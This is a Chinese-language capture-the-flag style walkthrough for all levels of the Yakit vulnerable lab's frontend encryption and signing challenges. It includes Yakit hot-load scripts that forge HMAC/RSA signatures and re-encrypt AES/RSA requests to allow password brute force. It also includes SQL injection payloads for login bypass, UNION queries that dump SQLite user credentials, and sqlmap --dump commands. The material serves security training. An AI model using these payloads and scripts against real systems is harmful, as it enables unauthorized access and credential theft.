Yakit靶场-高级前端加解密与验签实战-全关卡通关教程
一、前端验签-SHA256
本文作者为CVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
绕过
通过查看源代码可以看到key为
1234123412341234
通过查看源代码可以看到是通过SHA256来进行签名的，他把请求体的username和password字段提取，然后进行加密。
username=admin&password=admin123
使用CyberChef加密，最终得到加密值为：
fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d
可以看到自己计算和前端计算的一致：
修改密码，重新构造签名：
username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee
发送请求，可以看到验签成功，密码正确登陆成功，自此签名绕过成功。
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{
"signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee",
"key": "31323334313233343132333431323334",
"username": "admin",
"password": "666666"
}
热加载
这是我写的热加载代码，通过
beforeRequest
劫持请求包，使用
encryptData
函数进行加密，最终实现热加载自动签名功能。
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
params = json.loads(body)
//获取账号和密码
name = params.username
pass = params.password
key = "31323334313233343132333431323334" //十六进制密钥
//HmacSha256加密
signText = f`username=${name}&password=${pass}`
sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))
//构造请求体
result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`
return string(poc.ReplaceBody(packet, result, false))
}
//发送到服务端修改数据包
// beforeRequest = func(req){
// return encryptData(req)
// }
//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179
{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)
调试结果如下：
把
beforeRequest
取消注释，添加到Web Fuzzer模块的热加载中：
保存后发送请求，热加载成功实现自动签名功能。
二、前端验签-SHA256+RSA
本文作者ärCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
绕过
根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。
查看源代码可以看到RSA公钥是通过请求服务器获取：
请求一下：
http://127.0.0.1:8787/crypto/js/rsa/public/key
，可以看到公钥。
SHA256密钥位置：
Encrypt
方法:
function Encrypt(word) {
console.info(word);
return KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString());
}
KEYUTIL.getKey(pubkey).encrypt
是RSA1v15加密方法，在代码中可以看到先进行SHA265加密，然后再RSA加密。被加密的文本的格式同
上一关
所示。
使用CyberChef加密：
替换请求，可以看到签名构造成功：
热加载
这是我写的Yakit热加载代码，通过
beforeRequest
劫持请求包，使用
encryptData
函数进行加密，
getPubkey
获取公钥，最终实现热加载自动签名功能。
getPubkey = func() {
//通过请求动态获取公钥
rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1
Host: 127.0.0.1:8787
`)~
body = poc.GetHTTPPacketBody(rsp) // 响应体
return body
}
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
params = json.loads(body)
name = params.username
pass = params.password
key = "31323334313233343132333431323334"
pemBytes = getPubkey() // 获取公钥
signText = f`username=${name}&password=${pass}`
sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) // SHA256加密
rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes /*type: []byte*/, sha256sign)~) // RSA加密
body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
// beforeRequest = func(req){
// return encryptData(req)
// }
//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179
{"username":"admin","password":"password"}
TEXT
result = (encryptData(packet))
print(result)
这次不调试了，直接请求看看效果，成功热加载自动签名：
插入临时字典爆破，可以看到正确密码为admin123。
三、CryptoJS.AES(CBC) 前端加密登陆表单
本文作者isCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
分析
查看源代码，可以看到加密方式为AES，查询网上资料得知，此encrypt方法默认为CBC模式。
key为：
1234123412341234
iv为随机生成的：
将用户名和密码以json的格式进行AES加密
使用CyberChef加密
替换请求data内容，验证成功。
POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 169
{
"data": "2/eylw258wQNJQznPd5zr7xpNWzPR3vcgCmY3zwuTdW0WjSwbNzAhTraiebLdPRK",
"key": "31323334313233343132333431323334",
"iv": "67ba30beaabf8ccfebeca655d487805a"
}
热加载
这是本人写的Yakit热加载代码，通过
beforeRequest
劫持请求包，使用
encryptData
函数进行加密，最终实现热加载自动加密功能。
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
hexKey = "31323334313233343132333431323334"
hexIV = "67ba30beaabf8ccfebeca655d487805a"
key = codec.DecodeHex(hexKey)~
iv = codec.DecodeHex(hexIV)~
data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
data = codec.EncodeBase64(data)
body = f`{"data": "${data}","key": "${hexKey}","iv": "${hexIV}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
beforeRequest = func(req){
return encryptData(req)
}
效果：
四、CryptoJS.AES(ECB) 前端加密登陆表单
本文作者はCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
分析
模式变为AES的ECB模式，其他的与CBC模式基本一样。
zqBATwKGlf9ObCg8Deimijp+OH1VePy6KkhV1Z4xjiDwOuboF7GPuQBCJKx6o9c7
热加载
功能跟上面大致一样。ECB模式不需要iv，修改成ECB加密，然后删除掉iv相关代码即可。
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
hexKey = "31323334313233343132333431323334"
key = codec.DecodeHex(hexKey)~
//ECB模式加密
data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
data = codec.EncodeBase64(data)
body = f`{"data": "${data}","key": "${hexKey}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
// beforeRequest = func(req){
// return encryptData(req)
// }
//调试用
packet = <<<TEXT
POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179
{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)
成功加密
五、CryptoJS.AES(ECB) 被前端加密的 SQL 注入
本文作者éCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
绕过
SQL注入
前端代码和
上一关
一样，都是通过AES加密请求的数据。
在
yaklang\common\vulinbox\db.go
中可以看到相关后端代码：
数据库是SQLite类型，username参数是直接拼接查询的，所以存在SQL注入漏洞。
登录绕过
yaklang\common\vulinbox\vul_cryptojs_base.go
：
密码在第87行被赋值，密码是通过上面的
GetUserByUsernameUnsafe
获取的
输入
{"username":"admin","password":"666666"}
的SQL语句
select * from vulin_users where username = 'admin';
输入
{"username":"admin'or 1=1--","password":"666666"}
的SQL语句
select * from vulin_users where username = 'admin'or 1=1--';
相当于：
select * from vulin_users where true;
所以返回结果为表中的所有数据。
所以用户名随便输，密码输入表中存在的随意一个密码就能登陆成功：
sqlmap
使用Yakit的MITM 交互式劫持，热加载写上AES加密的代码
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
hexKey = "31323334313233343132333431323334"
key = codec.DecodeHex(hexKey)~
data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
data = codec.EncodeBase64(data)
body = f`{"data": "${data}","key": "${hexKey}"}`
return string(poc.ReplaceBody(packet, body, false))
}
beforeRequest = func(req){
return encryptData(req)
}
1.txt
POST /crypto/js/lib/aes/ecb/handler/sqli HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{"username":"admin","password":"admin"}
运行sqlmap
python .\sqlmap.py -r .\1.txt --proxy=http://127.0.0.1:8081 --batch -T vulin_users -C username,password,role --dump
注入成功
六、CryptoJS.AES(ECB) 被前端加密的 SQL 注入(Bypass认证)
本文作者esCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
绕过
这个前端代码与前面的还是一样的，都是AES ECB加密。
后端代码如下，可以看到查询语句在109行，用户名和密码都是直接拼接查询的。
SQL注入跟上面的操作一样，这里就不演示了，这里直接用热加载绕过登录。
POST /crypto/js/lib/aes/ecb/handler/sqli/bypass HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{"username":"admin'or 1=1--","password":""}
七、AES-ECB 加密表单（附密码）
同 CryptoJS.AES(ECB) 前端加密登陆表单。
八、RSA：加密表单，附密钥
本文作者istCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
分析
generateKey
函数用来生成随机的RSA公私钥
加密的格式如下：
{"username":"admin","password":"123456","age":"20"}
对数据进行RSA加密，请求包格式：
热加载
这是本人写的Yakit热加载代码，通过
beforeRequest
hook请求包，调用
encrypt
函数进行加密，最终实现热加载自动加密功能。由于密钥是从前端获取，所以直在在热加载里生成了。
encrypt = (packet) => {
//生成RSA密钥
publicKey, privateKey = tls.GenerateRSA2048KeyPair()~
//base64编码
publicKeyBase64 = codec.EncodeBase64(publicKey)
privateKeyBase64 = codec.EncodeBase64(privateKey)
body = poc.GetHTTPPacketBody(packet)
data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密
data = codec.EncodeBase64(data)
//处理换行符
publicKey = str.ReplaceAll(publicKey, "\n", r"\n")
privateKey = str.ReplaceAll(privateKey, "\n", r"\n")
//构造请求体
body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
beforeRequest = func(req){
return encrypt(req)
}
效果：
使用字典爆破，爆破成功，可以看到密码为admin123。
九、RSA：加密表单服务器传输密钥
本文作者हैCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
分析
这里的代码跟上一关的类似，但是加密的公钥是通过请求服务端获取的
http://127.0.0.1:8787/crypto/js/rsa/generator
由于密钥是服务端生产的，服务端有公私钥信息，所以自然不需要传递公私钥了。
请求格式如下，只有被加密的内容：
序列+热加载
序列
打开Yakit的Web Fuzzer，点击左侧的序列
选择从服务端获取密钥的那个数据包
使用数据提取器提取公钥
提取结果正常：
再添加序列：
先把请求体置空，编写热加载代码
热加载
本来之前写的是请求体格式跟上一关一样，然后在热加载里请求来获取密钥，缺点也显而易见，每次登录请求都会多出了一个请求公钥的数据包，所以最后选择用Yakit的序列配合热加载标签传参来加密。
由于Yakit热加载标签只能传一个参数，这里感谢Yakit群群友
Gun
的帮助，给了我一个手动分割参数的函数。
把序列第一个请求提取到的
publicKey
变量和需要加密的数据传过去，由
splitParams
分割，然后传参给
encrypt
进行RSA加密。
序列格式：
{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin123","age":"20"})}}
热加载代码：
encrypt = (pemPublic, data) => {
data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
data = codec.EncodeBase64(data)
body = f`{"data":"${data}"}`
return body
}
//分割传过来的参数，每个参数中间以|分隔
splitParams = (params) => {
pairs := params.SplitN("|", 2)
return encrypt(pairs[0], pairs[1])
}
执行序列，爆破成功，使用序列的好处就是只获取一次公钥即可。
之前的代码：
弃用代码，就不做解释了。
getPubkey = func(host) {
//通过请求动态获取公钥
rsp, req = poc.HTTP(f`GET /crypto/js/rsa/generator HTTP/1.1
Host: ${host}
`)~
body = poc.GetHTTPPacketBody(rsp) // 响应体
params = json.loads(body)
publicKey = str.ReplaceAll(params.publicKey, r"\n", "\n")
println(publicKey)
return publicKey
}
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
host = poc.GetHTTPPacketHeader(packet, "Host")
pemBytes = getPubkey(host) // 获取公钥
println(pemBytes)
data = codec.RSAEncryptWithOAEP(pemBytes /*type: []byte*/, body)~
data = codec.EncodeBase64(data)
body = f`{"data":"${data}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
// beforeRequest = func(req){
// return encryptData(req)
// }
//调试用
packet = <<<TEXT
POST /crypto/js/rsa/fromserver HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179
{"username":"admin","password":"123456","age":"20"}
TEXT
result = (encryptData(packet))
print(result)
十、RSA：加密表单服务器传输密钥+响应加密
本文作者естьCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
分析
这里的公私钥同上一关一样是通过服务端获取
通过查看响应包可以看到，data字段被加密了，当然这里我已经知道了data字段和origin字段的内容是一样的，下面来看看该如何编写热加载代码吧。
序列+热加载
方法1（固定私钥）
这里跟上一关一样选择Web Fuzzer的序列功能。
数据提取器提取公私钥
由于
afterRequest
函数无法获取到参数，所以在代码里写死了私钥内容来解密响应包。
热加载代码：
var PRIVATE_KEY = `这里填私钥内容（可换行）`
decryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet) // 获取响应包体
jsonBody = json.loads(body) // 转为map格式
//解密数据
data = codec.DecodeBase64(json.loads(body).data)~
data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~
data = string(data)
// 使用JsonPath定位，替换json中的data
body = json.ReplaceAll(jsonBody, "$..data", data)
// 转为json格式
body = json.dumps(body, json.withIndent(" "))
// 替换正则匹配结果（可省略）
pattern := `\\`
body = re.ReplaceAll(body, pattern, "")
return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/)
}
encryptData = (pemPublic, data) => {
data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
data = codec.EncodeBase64(data)
body = f`{"data":"${data}"}`
return body
}
//分割参数的函数
splitParams = (params) => {
pairs := params.SplitN("|", 2)
return encryptData(pairs[0], pairs[1])
}
// 修改响应包
afterRequest = func(rsp){
return decryptData(rsp)
}
请求格式：
POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}
下图为效果图，响应包的data字段的值被解密后的数据替换。
方法2（使用mirrorHTTPFlow）
在这一关（响应加密）和下一关（RSA加密AES密钥）解密过程中，我一直都在寻找如何才能把数据提取器提取到的
privateKey
传参到
beforeRequest
和
afterRequest
这类函数中，以达到修改数据包的目的。
从前端验签与加解密学习Yakit中WebFuzzer热加载
。在这篇文章中学到了可以使用序列，将前两个序列提取到的key和数据，在第三个序列当做请求内容，解密后发送过去，这样也算是一种变相的完成了解密，但是这个方法感觉不太优雅，需要多一个额外的请求包。
这是当时测试的图片：
然后在 Yak Project官方公众号的
文章
中终于看到了一个函数，
mirrorHTTPFlow
可以解决这个问题，虽然不能直接替换响应包，但会出现在提取数据中。由于官方文档没有具体讲解这个函数，所以它的具体功能现在还不太清楚。
热加载代码：
//加密函数
encrypt = (pemPublic, data) => {
data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
data = codec.EncodeBase64(data)
body = f`{"data":"${data}"}`
return body
}
//分割参数的函数
splitParams = (params) => {
pairs := params.SplitN("|", 2)
return encrypt(pairs[0], pairs[1])
}
mirrorHTTPFlow = (req, rsp, params) => {
// 获取私钥以解密响应数据
pem = params.privateKey
// 切割响应中的数据，作为 JSON 加载
_, body = poc.Split(rsp)
body = json.loads(body)
// 解密data
data = codec.DecodeBase64(body.data)~
data = codec.RSADecryptWithOAEP(pem, data)~
return string(data)
}
请求包格式：
POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}
效果如下图，可以看到解密后的data出现在了提取内容中。
爆破成功，但是看不到请求的原始密码，由于太累了懒得解决这个问题，啥时候闲了再说吧。
十一、前端RSA加密AES密钥，服务器传输
本文作者هوCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
由于RSA加解密有长度限制，以及解密速度等问题，所以如https等协议都是用非对称加密对称加密的密钥，然后用对称加密算法来加密数据。本关卡就是用RSA来加密AES的key和iv，用AES来加密表单数据。
分析
直接Submit，观察数据包发现请求包和响应包AES加密的key和iv都被加密了。
查看源码，RSA的key是通过请求
/crypto/js/rsa/generator
路径获取的
AES的加密方法为AES-GCM
流程图如下：
A[开始] --> B(加载页面);
B --> C{获取RSA密钥对};
C -- 是 --> D(从服务器获取公钥和私钥);
D --> E(将PEM格式的公钥和私钥转换为CryptoKey对象);
E --> F(生成随机AES密钥与IV);
F --> G(使用RSA-OAEP加密AES密钥与IV);
G --> H(使用Encrypt函数用AES-GCM方式加密提交的数据);
H --> I(发送加密数据到服务器);
I --> J(接收服务器响应);
J --> K(使用Decrypt函数用RSA与AES-GCM解密接收的数据);
K --> L(显示解密后的数据);
序列+热加载
本文和上一关遇到一样的问题，本来打算用第三个请求来解密响应包的，最后选择了使用
mirrorHTTPFlow
函数来解密。
上一关中只能看到登陆成功，但不知道账号密码是什么。这次写了个解密函数解密请求包，不管怎么说，能跑就行。
热加载代码如下：
// RSA-OAEP 加密
rsaEncrypt = (pem, data) => {
data = codec.RSAEncryptWithOAEP(pem, data)~
data = codec.EncodeBase64(data)
return data
}
// AES-GCM 加密
aesEncrypt = (key, iv, data) => {
encryptedData = codec.AESGCMEncryptWithNonceSize12(key, data, iv)~
encryptedData = codec.EncodeBase64(encryptedData)
return encryptedData
}
// 分割参数的函数
splitParams = (params) => {
pairs := params.SplitN("|", 2)
return pairs
}
// 主函数
encrypt = (params) => {
pairs := splitParams(params)
key = randstr(16)
iv = randstr(12)
data = aesEncrypt(key, iv, pairs[1])
encryptIV = rsaEncrypt(pairs[0], iv)
encryptKey = rsaEncrypt(pairs[0], key)
body = f`{"data":"${data}","iv":"${iv}","encryptedIV":"${encryptIV}","encryptedKey":"${encryptKey}"}`
return body
}
// 解密函数
mirrorHTTPFlow = (req, rsp, params) => {
// 获取私钥
pem = params.privateKey
// 切割响应中的数据，作为 JSON 加载
body = json.loads(poc.GetHTTPPacketBody(rsp))
// 提取 IV、KEY 和 DATA
data = body.data
iv = body.encryptedIV
key = body.encryptedKey
// 使用 RSA-OAEP 解密 IV 和 KEY
iv = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(iv)~)~
key = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(key)~)~
// 使用 AES-GCM 解密
data = codec.AESGCMDecryptWithNonceSize12(key, codec.DecodeBase64(data)~, iv)~
return string(data)
}
使用Yakit的序列功能，效果如下，在提取数据中显示了未加密的请求和响应的内容：
爆破效果：
十二、SQL 注入（从登陆到 Dump 数据库）
本文作者คือCVE-柠檬i
CSDN：
https://blog.csdn.net/weixin_49125123
博客园：
https://www.cnblogs.com/CVE-Lemon
微信公众号：Lemon安全
登录
输入账号密码，抓包查看数据包，看上去就是一个普通的aes加密:
这里热加载代码不算太难，常规的加解密函数就可以了：
encryptAES = (packet) => {
body = poc.GetHTTPPacketBody(packet)
// 生成随机key和iv
key = randstr(16)
iv = randstr(12)
// 加密数据
data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
data = codec.EncodeBase64(data)
// 获取key和iv的hex值
hexKey = codec.EncodeToHex(key)
hexIV = codec.EncodeToHex(iv)
// 构造新的body
body = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`
return poc.ReplaceBody(packet, body, false)
}
decryptAES = (packet) => {
body = poc.GetHTTPPacketBody(packet)
body = json.loads(body)
key = codec.DecodeHex(body.key)~
iv = codec.DecodeHex(body.iv)~
data = codec.DecodeBase64(body.message)~
data = codec.AESCBCDecrypt(key, data, iv)~
return poc.ReplaceBody(packet, data, false)
}
beforeRequest = func(req){
return encryptAES(req)
}
afterRequest = func(rsp){
return decryptAES(rsp)
}
请求体格式
{"username":"admin","password":"password"}
热加载加解密成功
本关提示是SQL注入，所以直接啪一个1=1，说时迟那时快，直接登陆成功
POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{"username":"admin","password":"password'or 1=1--"}
注入
手工
登陆后看到请求了
/crypto/sqli/aes-ecb/encrypt/query/users
路径
解密一下请求包：
获取到请求的格式：
{"search":""}
这里是SQLite注入，注入的语句是通过这篇文章获取的：
sqlite注入的一点总结 - 先知社区 (aliyun.com)
{"search":"user1'order by 3--"}
{"search":"user1'union select 1,2,3--"}
{"search":"user1'union select 11,22,sql from sqlite_master--"}
{"search":"user1'union select 11,22,sql from sqlite_master where type='table' and name='vulin_users'--"}
{"search":"user1'union select username,password,id from vulin_users--"}
注入成功：
POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119
{"search":"user1'union select username,password,id from vulin_users--"}
sqlmap
在MITM处加载热加载代码
使用sqlmap注入
python .\sqlmap.py -r .\http.txt --proxy=http://127.0.0.1:8081 --batch -dbms=sqlite -T vulin_users -C username,password,role --dump
http.txt
POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119
{"search":"*"}
效果：
